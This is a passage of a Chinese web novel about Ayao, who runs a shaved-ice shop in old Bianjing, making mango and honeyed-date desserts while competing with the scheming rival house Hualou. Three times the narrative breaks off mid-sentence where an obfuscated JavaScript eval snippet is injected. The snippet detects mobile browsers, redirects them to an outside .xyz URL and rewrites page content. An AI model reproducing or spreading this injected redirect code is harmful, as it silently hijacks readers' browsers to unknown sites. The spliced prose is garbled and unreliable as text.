吴大娘瞅了眼大郎神情,脸上笑道:“味道如何。”她有一双同文宇相似的桃花眼,此刻正意味深长的看着他。 “甚好。”薄唇里吐出两个字,不轻不淡。 吴大娘脸拉下来,数落:“半天说不出一句好话,该你孤身一人。”估摸阿瑶瞧不上这臭小子? 38. 分家后(十五) 从府衙到西市铺面不过三里路,梁文宇手中捧着硬塞入怀的庵罗果,途径果铺,他买了些庵罗果干。 等回到铺中,只见阿瑶一人在后厨忙活,许老大夫妇俩均不在屋内,他摆到阿瑶面前:“大娘叫我给你。” 收到礼她心中自是高兴居多,可大娘与她非亲非故,这样昂贵稀少的果子频频相送,多少有些说不过去。 “我不能收。”阿瑶盯着桌前金黄果子,神色淡然,果香浓郁飘来。 见阿瑶拒绝的决然,梁文宇也并未打算挽留,收起果子就要往外走,他的这些行为中无一不透露着要将庵罗果扔掉之意,甚至动作极大,引起阿瑶注意。 只不过梁文宇把庵罗果搬进后厨,用刀顺着外皮刮开,切成两半,中间露出半面白色果核,再细细剔除周边果肉,能看清果核上头似有绒毛,青红外壳下呈现橘黄色,质地细腻柔软,随着刀尖划过,相连之处出现细缝,颗颗果肉被削入碗中,直到短刀停下。 果香浓郁在空气中回荡着丝丝甜意,十分吸引人,那香气充盈着整个屋子。 他是故意逼阿瑶收下,只不过刚才的动作都是一些虚张声势行为,实则目的是让她亲眼所见并无法挽拒。 果子已被破坏,阿瑶只好取来酥酪和越王头浆、怡糖,等铁盘冒出并冰霜就能将果肉倒入,紧接着捣碎它,加入越王头浆翻炒均匀,待到混合后的酥珞壮大成小山一般,将一半压厚,一半压薄,切块和铲卷。 从铺子飘出的果香为阿瑶引来一批食客,庵罗果很是罕见,从琼州过来更是被百姓称之为稀有之物,比起越王头来它更加珍贵,往年的汴京从未重现过此物,今年不知怎么的突然在东市售卖起来。 要知道这庵罗果比起越王头而言更加难以保存,若是运输途中存储不当,果子表面出现黑斑便是次果,买不了高价,连贱卖都未必有人肯收。 进入汴京城内又出现在偏远县级,可想而知京中贵族之间早流传此果,阿瑶算是尝到鲜品。 庵罗果外观新奇,果肉味道更越其他果子,香味堪浓,甜中带有微酸。 光制作炒酸奶一种可不行,阿瑶把庵罗果用进沙冰当中,需先将果肉捣碎混合细冰拌匀装盘,她在上头最后淋了一点越王头浆上去,吩咐口感同时做到物尽其用,少量果肉被阿瑶切成小丁撒在边上,她还加了一片果皮作为装饰。 因为阿瑶推出的新式沙冰和炒酸奶引来食客注意,她铺子里飘散出去的味道虽然淡可吸引过来的人是相当之多。 按照惯例,外头木牌上会写今日独特冰沙,这样便能告知食客,数量有限,先到先得。 她学的这手伎俩不过是为了赚更多钱,单凭庵罗果是远远无法为铺子带来长久营生,她还需要不断推出更多新奇冰沙。 可越是新奇的果子售价越高,她必然不能再白白收取大娘一片心意,她既不知大娘存何等心思,甘愿白送于她,又不知对方打得什么如意算盘。 汴京城流行,落入县城数量少售价高,不失是件稀罕物,东市出售不过三家,要问价当然无需阿瑶出面,两个哥儿问上嘴就能知晓。 庵罗果二两一个,已经算是中下等,长势匀称果形饱满圆润,这样的果子至少需要六两一个。 如此高价之果,阿瑶用起来都有些心疼,两个果子挤上一挤二十碗就算出来了,可卖价达到了四十文一碗。 “五十文!”人群中传出惊呼,“一碗冰,犯不着,还不如去花楼吃盏茶。”那人摆手,摇头离去。 因价高入铺中之人显然少去一半,留下的人中多数是为凑热闹而非实际买卖。 闲言碎语对阿瑶来讲并未引起多大风波,铺中原本就有些为吃食而生的食客,她在店中瞧见了当初的商人和喜好各处点评吃食的食客。 这两人自阿瑶出摊第一日以来至今从未离开过,一个走南闯北做生意,接了此处的生意每隔两月便要来上一次,还有一位是喜好写些文章交由报社出刊供大伙赏读。 来的常客手头都不差钱,对于人群中的诧异眼都未抬,手中吃着阿瑶端去的庵罗果炒酸奶。 “有些人吃不着葡萄说酸。”商人替阿瑶说起话来,“这样好的果子在东市售价二两最低,能花心思出来的店家,是对食客的尊重,你们该不会是花楼伙计?” 外头仿照阿瑶铺子款式和做法出来的沙冰花样数不胜数,可都是画龙点睛,口舌明锐的吃上一口就能品出好坏,他们是嗤之以鼻。 两头各持一方,你一句我一言,冰雪铺成了学术争辩之地。 到底是走南闯北见识多,那些句句不离花楼,明眼人都能瞧出是花楼派来的说客。 阿瑶手肘枕在木桌前,托着脸喝茶听戏,极好一出大戏,怎能少了她。 花楼请的这些说客阿瑶是一眼辨认出,是否来吃冰,进了门都是直冲她而来,反观他们坐在门口,一碗清茶一张巧嘴,说出来的话是夹枪带棒,泼尽脏水。 梁文宇靠在后厨门框,嘴角留笑,眉梢上扬,桃花眼中未有一丝笑意,黑眸清冷扫过堂前众人,双手抱胸,身上那股子痞气又冒了出来:“不知是该祝贺你,还是夸奖你?” 阿瑶支起身子朝木椅上靠,语气慵懒:“自然是祝贺!说明手艺获得食客认可,他们会是我日后最好的拥戴者。” “别高兴得太早。”梁文宇垂眼一瞟,“花楼可不是吃素的。” 梁文宇又道:“花楼赶当众给你使绊子,说明..” “背后有人,势力庞大。”阿瑶抢先一步说出口,她声音很轻。 “不错!”梁文宇盯着外头,只见外头停止争执,“花楼如此,是因为你抢了他们营生。” 阿瑶眸中一亮:“我要的就是他花楼无人再去。”阿爹在众目睽睽之下被赶出花楼,对他辱骂诬陷,她立过誓要远超花楼成为第一冰饮铺,不光冰饮还有菜色。 各处展露得头角都是根据阿瑶沙冰改良所得,那日她将所有摊子都尝了遍,外观上心思巧妙,出来的冰沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642017|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细腻却达不到相同,细中带粗,口感方面丝毫未必比阿瑶逊色。 只是他们不光想照着阿瑶做出相同冰沙,连炒酸奶款式也想做出同样的来。 阿瑶这个正主在他们面前也是有恃无恐,大大方法做给她看,相同手法可却无法凝固,即使隔着冰块搅拌,浇上去的牛乳搅拌半天也未见浓稠半分,就像玩着一盘子水,难得成功一回,压成块后,刀一切就碎成渣。 她就坐在支起得木桌前静静地看着,五指轻快地敲打桌面,眼神扫来扫去。 本身被炒酸奶吸引过去的食客看着眼前这幕,小等片刻,瞧了几眼水样,摇头离去。 “劳驾您前往冰雪铺小食一碗。”她干起了亲自迎客之事,招呼人前还不忘睨摊子一眼。 摊主忙得大汗淋漓,他是怎么都没能明白相同做法却无法将水变成冰不说,还搭进去好些银子,心底小疼一阵。 可碍于阿瑶在场,即便是水都要糊弄几下。 “店家可知这炒酸奶为何无法成块?”阿瑶头顶是块撑开的褐布,自顾自倒上茶喝起来,“这门手艺可非人人都能学!” 原先阿瑶就注意到铺子里时常有几张生面孔出入,每每都在她做炒酸奶时靠近与她阿娘闲聊,装模作样找话讲,眼神是一刻不停的瞄向她,可惜对方照搬照抄的法子是错的。 能够在众多冰饮中脱颖而出,开铺子做营生,阿瑶自然是有些本事,她留了一手,外头人看着店中一块冰,一个铁盘,能做出如此可口的炒酸奶,换个人必然也会,可谁知动起手来并未料想之中的这般简易,其中太多门道,是阿瑶有意掩盖让他们无从知晓的。 “茶有些凉了。”阿瑶放下杯盏,望向店家脸,“不是你的东西,是永远学不会的!”想偷没门儿。 告诫话语平淡如水,语气中透出一丝威胁,像是敲打又像是劝解。 阿瑶回到铺子,许老大夫妇接了两哥儿回来,两人趴在桌前练字,外面几桌食客吃着庵罗果炒酸奶。 店中食客只点了五碗,剩下全叫中途来的一位小厮包圆,阿瑶发现钱匣子内银钱数目不对,一枚碎银角和几百文铜钱。 十五碗需七百五十文,盒内铜钱数量定然不止这些数。 阿瑶视线从梁文宇身上扫过,朝后厨许老大方向望,或许是她想多了…怀疑种子在她心底生根发芽。 梁文宇被官府收默全部家当,每月工钱三两,他犯不着偷给阿瑶,再看他一身行头,钱财都花去了,手中未必还有闲钱。 她阿爹是多么光明磊落的一个人,即是家人私藏银子根本无需多此一举,哪银子是从何而来,成了未解之谜。 隔三差五莫名其妙多几十文就罢,有时能多上一两之多,不免让阿瑶胡思乱想。 “阿瑶,庵罗果可还有。”许老大晓得果子金贵,招架不住食客喜爱。 阿瑶擦净木牌:“这样昂贵的果子,让食客尝过鲜就好,长期使用容易厌倦,再则时令瓜果多,无需每日都重复。” 39. 分家后(十六) 东西两市这段日子出现的瓜果数远胜从前,估摸是临近端午,外头运了新果进城售卖。 许老大手中提了粽子和几篮杨梅,好像是阿瑶外祖家派人送来的。 海氏拆开棕子,糯米绑紧煮熟后,一口咬下去韧劲十足,中间填入的蜜枣像是一股暖流汇入心头:“许久没吃阿娘包的粽子了!” 阿瑶的外祖家隔着一个镇子,长年依山而居,靠山吃山,算得上小有家底,她外祖能干包下山头做果农生意,她二舅在当地富有,别说姥姥做蜜枣手艺,更是多人求而不得。 枣子一年收成一回,从筛选、浆洗、刻痕、熬煮、晒干,每一道工序都不可错,这样出来的蜜枣外表如珀,整体才能呈半透明状,著有金丝蜜枣一称。 海氏挂完粽子从篮中拿出份用油纸包裹的蜜枣,满满当当一包用油纸都无法包下,打开时险些散落一地。 阿瑶捡了颗蜜枣塞入嘴中,她幼时曾在外祖家住过一段时日,知晓蜜枣制作复杂,可却是姥姥一片牵挂,几个儿女中就属她阿娘嫁得最远,舅母和姨夫都是一个镇上的体面人家,而她阿娘已有好几年未去曾回去。 “阿娘,改日扩了铺子叫姥姥,姥爷一家也来如何?”她确实也想了。 海氏小小咬了口蜜枣粽,点头:“好。” 有了蜜枣助力,卖空庵罗果位置被她替换成了用糖水熬煮过的蜜枣,冰丝浸在甜水中,枣香便慢慢发挥出来,是那种清甜清甜的。 泡透后的蜜枣外头像是要抽丝一半,枣子外边是贴着核刻出来的细纹,像花一般,轻轻一碰核就从中脱落出来,果肉飘在水面犹如红花曜日。 她并非没想过用枣丝点缀沙冰,但总归还是数量稀少,只能靠摆上一颗来售卖。 打出去的招牌也是靠着金丝蜜枣为名,要知当时单独一颗蜜枣售价不过几文钱一斤,可金丝蜜枣确实用几十文钱一两定夺,蜜枣压称,一两有时才几颗,嘴馋时吃上一个是刚好不过的。 推出的冰冰卡在其中出现好多用处,连着好几日铺内食客明显回到了往常该有的景象,或许是吃腻了外头蜜沙冰,想换个口味尝尝。 阿瑶店中推出的沙冰每隔好几日一换,有时同一款冰沙在一月中不会出现两次,讲究物以稀为贵。 她今日靠着蜜枣卖出的冰沙至少有百碗,两个冰桶中的沙冰都已经用完,傍晚去冰行买冰回来,阿瑶似乎瞧见梁文宇打开钱匣子投了几枚铜钱进去,站在人身后,目光难免带些探究神色,“你在做何?” 对方慢悠悠转身,丝毫未有被抓包后的紧张神清,从容回道:“适才收了银两放进腰间一时忙忘了,眼下看到钱匣才想起此事。” “原是如此。”阿瑶绕过梁文宇打开钱匣粗粗瞧了眼盖上,“下回可先放了再去,不急一时。” “好。”他挽起袖口整理,拖进冰桶开始刮起来。 刀刮出来的冰又粗又小,跟个疙瘩似的,吃起来一点都不细腻,而阿瑶让铁匠重新做了款刨刀比之前的还要好许多,原先是刨子刨出来不假,可冰还是不够细腻,经改良后,刨出来的冰沙如雪一般,再浇上果酱和蜜豆,是入口即化。 这样的沙冰更加引得食客喜爱,尤其是牙口欠佳喜嚼冰的食客,不过阿瑶还多了几分小心思,她买了些牛乳冻起来,用刨刀刮出细沙和冰混合,一道牛乳冰沙就由此诞生。 奶香加上果香是不可多得的好东西,仅售价二十五文,食客们连花楼都不去了,直奔冰雪铺而来,在花楼像蜜沙冰这样最为简单的沙冰若非是和阿瑶竞价,少说是需要三十文的,就因它名声在外,菜色好吃,冰沙自然不差。 可到底不过是碗普通冰沙,即使款式多样,比起冰饮还是阿瑶更胜一筹。 “这几日,我数过钱匣,发现每次都会多上几十文铜钱出来,这事你可知?”阿瑶试探问到。 梁文宇手中未停,神色淡然:“未曾。” “那便有些奇怪,阿爹说他从未放过!”阿瑶说了嘴。 “许叔放时或许忘记了,毕竟这几日生意不错。”梁文宇半句未往身上揽,全推出去。 如此一说阿瑶是信了,许老大的确有偷给银子过,两个哥儿说漏嘴,说看见许老大往里面扔了不少银子,都是摆摊时所赚的银钱,只是阿瑶一直不肯收,没想到她阿爹还会干这事。 阿瑶半信半疑:“也许如此。” 银子一事未果,有食客对阿瑶提议想再吃上一会庵罗果炒酸奶,要知这果子贵,她卖了二十碗都未能赚回本钱,若是因食客提上嘴买了回来,有人买还好,无人买岂亏钱。 周围有人出主意,说西市有批庵罗果,卖相不好价格低廉希望阿瑶能去瞧瞧,若果子新鲜倒能购些回来,他们也好一饱口福。 正好阿瑶落山后要去西市买果子,顺带瞧一眼,摆在外沿的都是常见的时令果子,往里走才能遇上少见的几种款,后面人未必有前头那么多,可要说果子少反而是越往里头越多,只是少了些寻常可见的种类,多数都是东市换下来的。 当初阿瑶不知东西两室还有这样的规矩,要说她怎么总是买不上好果子呢? 她非独自一人前来,对方脚步轻健,跟在她身后像是位主子,西市极少有像梁文宇这样的公子哥过来,哪怕所穿皆是普通衣衫,身上不同于周围的气息是很难骗过商人眼。 路过小摊时几人伺机而动,拉着梁文宇不让走,嘴里喊道:“公子,可是在寻些什么?” “庵罗果,你这可有?”梁文宇道。 那人笑着,眼梢悄悄打量起来:“有,东市刚送来一批新货,卖相上等。” “好。”梁文宇进去前与阿瑶打了照面,目光示意她先去打探行情。 阿瑶随便进了一家,先是借着客人随意问了几种果子价格,最后定在店家身前的庵罗果上,表皮带有的黑点密密麻麻,她这头看去都还是清晰的很,此刻阿瑶心中已经开始盘算讨价还价。 果篮前的木牌上写着五百文一斤,那个头大都快赶超一斤,篮中不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645148|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过三四个而已,她是想全部拿下回去做成果酱也是亦可的。 只是五百文太贵,四个果子少说也需要两贯钱,阿瑶拿起在手中掂了掂,思量着开口:“店家,这果子五十文一斤买我如何?” “按照市场价,新鲜庵罗果二两一枚,这价恐是卖不了。”店家见过阿瑶,晓得她时长过来买果子,就算是成了下等果也比其余要贵上好几分。 “你我往后长久做生意来往可不更好?””阿瑶料定他吃过自家冰饮才敢如此说话。 冰雪铺开张时他去过一回,与阿瑶达成合作并非坏事一件,相反无需担心果子腐烂而血本无归,思来想去退了一步:“好,只是我要三个点,你每卖出一碗需要分我两文。” 她一日营收千文,挪出三点,顶多两碗冰沙钱,一口应下:“没问题。” 这位店家是个小心谨慎之人,当着阿瑶面写下文书,签字画押,不过也好了她,东市换下的果子往后不必四处寻觅,只要同店家交代一声便可。 阿瑶出去时收了文书,在次见到梁文宇时,他手中捧着与她相似的庵罗果,单从表皮看他手中的黑斑要少,果子比她新鲜一些,仅仅只是一点。 等出了西市大门,阿瑶说出了她与店家做的交易,谁料梁文宇尽然也于对方签订了文书,那一男一女的店家竟是夫妻。 居然联手对打,眼下阿瑶要分出去的银钱翻了倍,三十文变成六十文。 两人各捧四个庵罗果回去,路上灯火明亮,湖上走着游船,果子不多可也有五斤重。 阿瑶走得有些累,找了个馄饨摊坐,她要了两碗馄饨吃,听见对面有人在议论。 【听说花楼店家见不得阿瑶好,找了说客去坏名声,你猜怎么着,铺子里头有人出面替阿瑶解围。】 【真有此事,可不是,外头那些摊子想学阿瑶手艺,结果是个半吊子,什么炒酸奶,冻都冻不起来】 【比起阿瑶手艺差远了,不过她做的浇头的确好吃,尤其是冰沙上面的那些,前阵子想学,最后出来并未想象中那般好】 【一定是你做法不对,等下回让阿瑶教教你,哈哈。】 阿瑶回头望了眼,他们声音小扎堆坐,不免引起注意,模样都是铺子常来的几位熟客,只因叫她名字太过于亲切。 阿瑶身形好认,熟客是一眼辨出是她,见她吃完东西捧着庵罗果回去,脚下不听使唤般跟来过去。 买多本身非阿瑶心意,可她还是尽数收下,刮皮挖肉动作是一气呵成,顺畅到连食客都有些小小震惊。 就好像阿瑶原本就吃过这果子,不过倒是提醒了他们一下,最初吃过的一次哪可是梁文宇提前拨好的,谁都没瞧见。 “阿瑶姑娘,你这个果酱是如何熬煮,可不好好教教我们?” 阿瑶切着庵罗果,“我这果酱秘方可不外传。” “你说与我们听听又何妨!”人群起哄,舞动阿瑶。 她杏眼扫过众人,“好,今日就说说该怎么做!” 40. 分家后(十七) “这果酱做法最为简单,一口锅,一罐饴糖,一篮果子,就能做成。”阿瑶边说边切,把多余果肉装盘后用棍子捣碎成泥。 既然外头人想学,阿瑶就现做给他们看,熬煮果酱并非难事,只要是个糕点师傅瞧上一眼就能轻易掌握,可阿瑶的果酱却有着不同他人的特别之处。 庵罗果本身就自带浓郁香气,煮熟之后是更加浓烈,灶台铁锅里黄灿灿的果酱是外头买不到的,得亏阿瑶多准备了几个琉璃瓶,煮完便开始坐地起价。 她老早定好这个注意,才会同意交代果酱做法,外头人再怎么学都做不出与她相同口感,一指长半指宽的琉璃中装了稀稠果酱,小小一瓶,售价四十文。 她舀了一些出来兑牛乳给大伙浅尝,每人只有一小口尝鲜,牛乳混合果酱甜味味道甚好,简直不输炒酸奶。 光讲食材,阿瑶是片刻未说该如何做,先放什么,再放什么。 明眼人把她做果酱的顺序全记脑中,转身功夫,人群中就少了几个,阿瑶睨了眼将剩下果酱放进冰桶中。 她几日前定做了个隔板,可供冰桶内部存放果酱使用,现如今天气热,若长时间放置室外容易使果酱粘稠度变稀,还及其易变质长毛。 这个妙用还是阿瑶无意瞥见许老爹用油锅时为煎炸吃食滤油的物件,她看着好特意照着模样画了一个出来,为隔板两边和前面加上长栏,防止果酱掉落毁了冰块。 桶里的沙冰都是梁文宇劈开后再塞回,原本阿瑶是想将冰都刨碎后倒入,担心融化成块前功尽弃,就只想人点了沙冰后做出来。 原本做果酱一事阿瑶就没打算藏着掖着,大大方方摆在人前。 “若是爱吃,可买一瓶回去让家人都尝尝。”阿瑶继续装瓶,面前摆着几个瓶子都是她用来售卖的,自留果酱倒入陶罐用棉网保住口晾凉。 四十文放到外头一点都不贵,更何况是用庵罗果所做,真是说到人心尖上,阿瑶面前备下的七八罐果酱售卖一空。 自此好似打开新大陆般,又开辟了条新路出来,使阿瑶圈钱速度快了几分。 只是光这些还不够,卖出去的果酱维持得不过是阿瑶今日购买庵罗果所需钱财,十斤果子做一大锅果酱,卖出去至少有二三十瓶,算每瓶四十文,她收了近两百文。 看着银钱入账,阿瑶多了几分把握,外面食客最起码还是喜好她做出来的沙冰,外头花样再多,技不如人都是虚空一场。 平息外头效仿风波,人们看清了花楼所做的把戏,打出的价格虽属心动地步,可却是步步逼着食客极限而走。 冰价有官府压制,暂且稳了一段时日,可惜后头出现的偏颇使冰价上涨不断,因此投靠花楼庇护,这些小才能得此为生。 这才第二天,外头摊子上便开始出现果酱身影,只是数目稀少未必能成为食客心头好。 他们都是学阿瑶做法得来,可惜熬煮时间太短果酱过于稀稠,果粒极少一只手都数的过来。 卖出的沙冰,看外观寡淡如水,食客吃上一口面色微变,本身夏日嘴中无味,吃完之后更加食不知味,语气难免带有愤怒之意:“你这什么东西!”他喝了半口在哪儿直说。 卖冰的店家只字未语,一味低头想法补救,可惜于事无补,木已成舟。 食客在摊子前头吵了好大一架,惹来过往行人观看,有人出来劝架,这才平息一番风波。 花楼雅间内,暗处坐着一位衣着华贵之人,脸被帘子挡住,只露出骨骼分明的下巴,唇角轻启:“拖下去,杀了。”他说完话,端起茶盏喝。 前方站着花楼老板,弯腰等候问话,额间沁出丝汗珠,身躯有些颤意,若非细眼瞧是发现不了;“主子,属下办事不力,还请责罚!” “让我想想,该如何罚你。”他抬头闭眼长叹,似在思量,其实眉梢微挑,心头不满,“自行领罚,不过功过相抵,你这条命还要留着替我办事。” “多谢主子大恩。”他擦去汗,暗地为自己捏把劲。 “陆庄,你说她能否比上花楼多年根基?”人从暗处出来,站在光亮之下,露出双细长丹凤眼,剑眉星目,很是俊俏。 陆庄一直弯腰未直起身,“自然是主子,先前阿瑶相同我们合作被我拒绝,如今看来,只恨当初未能替主子除掉这个隐患。” “悄声无息少个人,这事可不好办,你是想让我为难?”男子抬手轻笑,“消息传出去,往后东西两市的果子都由花楼包下,若是敢卖于她,就让他们从此消失。”和花楼作对之人只有死字。 男子恍然想到什么,抬起眼皮道:“去,买碗蜜沙冰过来让我尝尝。”她到底有何不同之处。 陆庄是没料到他主子竟然未吃过阿瑶店中的蜜沙冰,当即派人去外头两种款各卖了一份回来。 好在前去之人脚程快,阿瑶铺子人并未很多,一盏茶功夫就回来了。 当两碗冰被陆庄讨好主子摆在八仙桌前时,他主动伺候起进食本职。 男子吃时视线落到成块炒酸奶上,块状冰沙还是他头一回见,眼眸中带着新奇,用勺子挖了角尝。 酥珞搭配巴榄子又有果酱调味甜度,吃起来口感更加出色,果香与奶香相辅相成,的确是佳品一件。 只可惜无法成为盟友,男子眉宇间透出一股失落,他是感叹阿瑶这般好手艺尽然无法收入麾下,舒展筋骨转头道:“先别动手,改日找她过来,让我亲眼瞧瞧是怎样一人。” “主子,要不今日请她过来一聚?”陆庄小心问上了句。 男子双手交叉,将下巴枕上手背:“不必,日后有的是时间。”他甚至有些期待与阿瑶见面了。 “外面那些闲言碎语,我听得有些烦,这段时日就消停一阵。”男子推开窗,朝屋外洒了些茶叶碎,“你知道该怎么办。” 陆庄恭敬道:“是,属下必然不付主子之托。”推门离去。 立即指派几人去东西两市收购 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650768|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓜果,低价购入的果子全送到后厨加工成果酱送往与花楼密切往来的冰饮摊手中。 经由大厨熬煮出来的果酱浓稠度提高许多,连果肉都紧密起来,一勺下去,颗粒丰富。 陆庄在花楼试水,他懂得利用阿瑶名声替自己赚取食客信任,就同阿瑶借助花楼打开冰饮之路一样,对外宣称的阿瑶亲传,端出的蜜沙冰淋上果酱真有八分像。 可惜先前花楼仿造阿瑶手艺让百姓为此吃了好些天,故技重施未必能得青睐,陆庄不知使了什么法子让花楼生意恢复往常人流。 “昨日我去西市买果子,发现价格上涨不少。”阿瑶很不高兴,她没买到心仪的庵罗果和丹奈。 这两款是冰雪铺最受欢迎的冰沙,炒酸奶用处最对,尤其是丹奈可不如庵罗果简单能得。 梁文宇收拾好东西出来,手里提着壶新沏的茶水,搁到桌上:“花楼这几日动静颇大,一车车果子运进楼中,他们想拉高价格,好叫我们无法再以此为生。” “真是好手段。”阿瑶实属没想到。 “这仅仅只是开始,往后去,你想超越花楼必定提高警惕。”梁文宇身上褪去了纨绔痕迹,此刻的他像是一位谋士。 阿瑶神色未变,想比肩花楼的心达到顶峰:“有你在怕什么,外头哪怕都说是我徒弟,我又何曾亏过。” “话虽如此。”梁文宇倒水给阿瑶,“冰价,果价,很有可能成为压垮你最后的一根救命稻草。” 阿瑶笑了笑:“放心,冰还能撑一段时间。”家中地窖屯了的冰足够她撑过夏季。 花楼四处散播消息对阿瑶来说很是不利,路过冰雪铺前的食客连停留片刻都未有,直奔花楼前去。 说明外头已出现比她还要强劲的对手,这让阿瑶心惊不已。 梁文宇同阿瑶一起坐在门口石阶上,望着天边燃烧的云海,如火花绽放,“你真不打算做些什么?” “外头明显是有意针对我而来,我还能如何,自然是退位让贤。”阿瑶无奈道。 “退位让贤?”梁文宇哼笑,“你可不是这样的人,可是想到好法子。”他见阿瑶脸上一阵轻松,因该是想到应对办法。 阿瑶叹息:“还能怎么办,当然是解决果子一事。” 她最先想到的是吴大娘,但凡东市出现新奇果子,大娘处必定有,只可惜数量不多。 要想在新品上碾压花楼,必需要多花些心思在外观和手艺之上。 阿瑶起身拍了拍裤脚:“你随我同去东市一趟,带上所有银子。” 东市果然是集奇珍异宝为一体,逛完外沿街,在逛内沿街,多数果子售卖一空。 好多店家瞧见阿瑶脸都避之不及,在招呼时惶恐半日,她看出不对劲,心中明了。 吴大娘铺子最好认,她屋前放着的果子是阿瑶最为想要的一款:丹奈。 “大娘,我带好东西来瞧你啦!”阿瑶也许久未见,想念得很,语调轻快了些。 41. 分家后(十八) 吴大娘本就坐在堂前,悄悄注意外有动静,听见阿瑶声音,忙放下手中物出去迎接。 两人此刻已进屋,一前一后,阿瑶提着食篮,身后跟着梁文宇。 吴大娘双眼轻扫,眸中似有亮光闪过,满意神色落到阿瑶身上:“天热的慌,下回你就让身边仆从送来就是。”她睨了梁文宇一眼。 “大娘,我念着你,想过来瞧瞧。”阿瑶顺势搭上大娘手背,“多谢您记挂我,那两个庵罗果我做了些果酱和冰沙过来,您尝尝。”她提着食盒先行一步走到木桌前打开端出来。 “好。”吴大娘是恨不得当即就替他家大儿当面提亲,可又想想起两人先前的对话,心中顿时一阵惆怅。 镇子上流传的事情,想要瞒住众人耳是不可能之事,这些话语自然而然就传遍大街小巷,吴大娘这几日踌躇该如何帮一帮阿瑶,人竟然就到眼前。 她眼神中带着慈爱,像一位老母瞩目幼女,为她叹息:“你手艺好,可千万莫听信那些话自甘堕落。” 大娘同阿瑶非亲非故,原本不用管这等子事,可她正拿阿瑶当闺女疼,当初一眼就认定她是要进她家门的。 可惜,大儿不争气! “莫怕,此事大娘替你想办法。”吴大娘处于东市多年,这点子人脉还是有上一些。 阿瑶拦下她:“大娘,我无事。”带来的食盒还有第二层,里头是一盘她新学会的糕点。 千层糕是当时出嫁、春节、祭祀时必出现的一道糕点,糯米粉和麦粉加水成浆,而阿瑶选择在一种浆液里加入庵罗果酱,要想让它如其名一般,需要经过多次分层蒸制。① 出来后糕体呈淡黄与洁白色彩,黄白参半,色泽光亮,一层层像一座精致小塔,淡淡的米香和果香飘荡出来。② “您先尝尝看,是否合胃口。”阿瑶打断吴大娘要替她做主地激烈念头,“梁文宇已替我安排好一切。” 吴大娘捏起糕点,眼珠朝她身后一瞟,“此人可靠?” “我与他共事三月之多,他为人,我信的过。”阿瑶将希望全托付出去,后续该如何听从他安排。 吴大娘咬下糕点,细细品尝。 自铺子离去,阿瑶走时按市价偷偷塞银子到丹奈框底,数次白拿,这回可不能如此。 既然花楼张口闭口都是得她亲传手艺,阿瑶岂会放过好时机,推上摊车回到州桥底下开始叫卖。 铺子仍旧开,由许老大夫妇兼顾,阿瑶一心一意陪花楼玩起把戏,车顶上挂着几个字“独家首创”,像是在嘲讽花楼手段卑劣。 无论果酱还是味道达到八分以上,已算成功,但阿瑶招牌一挂,那就是正主站在面前。 人群分成两拨,一波老客,一波贪图便宜。 老客是阿瑶数月以来唯一依靠,有他们每日光顾,阿瑶干劲十足。 梁文宇摆放好沙冰,卸下藏青围裙丢到一旁,步子朝前去,临走时对她道:“我去花楼探探底。” “好。”阿瑶也很想知道花楼到底使了什么计策,一夜之间开了窍。 梁文宇进入花楼熟门熟路摸上二楼雅间,屋子里传出陆庄汇报每日冰价收入一事。 “主子,这是冰行差人送来的账册。”他递到男子面前轻轻放下。 男子睁开眼:“如今冰价何许?” “八十一块。”陆庄恭敬道。 “两行平分可得多少?”男子继续发话。 陆庄抬头瞧了眼,低下道:“卖出一块抽取四十文。” “太少。”男子道。 陆庄神情一顿:“是,属下会叫主子满意。” 陆庄离去让梁文宇有机会进入长廊尽头的书房中,只是屋内男子并为离去,梁文宇想要偷取账目仍然带有风险。 少顷,屋中有了动静,男子穿了件黑长斗篷出门,他潜进书房,翻找记录冰价的账目,只可惜寻遍书房都无果。 “朱兄,请。”外头是陆庄邀客人欲要进门之声。 书房内除去几个架子遍再无掩藏之所,梁文宇掀开窗跳到屋外房檐之上,弓腰偷听。 花楼外围是经由巧匠精心设计出的排水长沟,内有道槽口可藏人,从下望是瞧不见人的,由于他所处位置是牌匾之上,正好挡住过往行人注意供他藏身。 里头密谋再度提高冰价,关键时刻屋外又来了一人,听声音像是东西两市监管,瓜果价格都需经过官府批准,是为防止坐地起价。 贪财痕迹已然从百姓中渗透入官府,梁文宇猫在屋檐中间,上挑的桃花眼底浮现杀意。 “两位,在下来迟。”他红光满面,姗姗而来。 陆庄与朱玉龙同起身迎接,两人迎着瞿庆坐上主位。 “六爷召我前来是对果价不满?”瞿罗坐于两人中间,拨弄衣袖。 陆庄倒茶水给他,与朱玉龙相互对视一眼道:“邀二位前来是想请各位帮个小忙。”他将两人展露出来的神情纳入眼底,隐去不屑。 瞿罗开口道:“陆兄的忙,我必然帮。” 